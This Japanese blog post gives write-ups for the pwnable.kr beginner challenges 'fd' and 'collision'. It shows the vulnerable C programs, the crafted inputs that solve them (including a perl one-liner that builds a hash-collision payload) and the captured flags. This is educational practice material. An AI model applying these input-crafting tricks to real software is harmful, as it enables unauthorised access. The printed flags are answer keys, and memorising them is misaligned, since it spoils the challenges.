Pwn練習
Pwnの練習としてpwnable.krのwirteupを書きます。 pwnable.krとはPwnやバイナリ系の問題が多数載っているサイトです。
英語、中国語、韓国語のWriteupはいくつか見つかりますが、 日本語のものはないので書いてみます。
[Toddler's Bottle]
もっとも難易度の低いレベルです。もらえるポイントも一桁です。
fd(2016/10/29完)
ファイル記述子に関する問題です。
char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
fd=0つまりstdinからbufへの入力を受け付けるようにし、 LETMEWINを入力すればいいです。 fd=0にするには0x1234(4660)を入力すればいいです。
fd@ubuntu:~$ ./fd 4660 LETMEWIN good job :) mommy! I think I know what a file descriptor is!!
フラグは「mommy! I think I know what a file descriptor is!!」です。
参考サイト: pwnable.kr Toddler's Bottle (easy) write-up · Sirius CTF
collision(2016/10/30完)
以下がプログラムです。
#include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; } int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; }
引数の文字列を20バイト取り、それを4バイトずつint型の値として見て加算していき、 合計が0x21DD09EC(568134124)になるか判定しています。 つまり、0x21DD09EC(568134124)=0x06C5CEC8(113626824)*4+0x06C5CECC(113626828)となるように、 0x06C5CEC8を4回で16バイト分、0x06C5CECCを1回で4バイト分入力すればokです(ただし、リトルエンディアンなので入力方法に注意が必要です)。
col@ubuntu:~$ ./col $(perl -e 'print "\xc8\xce\xc5\x06"x4 . "\xcc\xce\xc5\x06"') daddy! I just managed to create a hash collision :)
フラグは「daddy! I just managed to create a hash collision :)」です。
参考サイト: pwnable.kr Toddler's Bottle (easy) write-up · Sirius CTF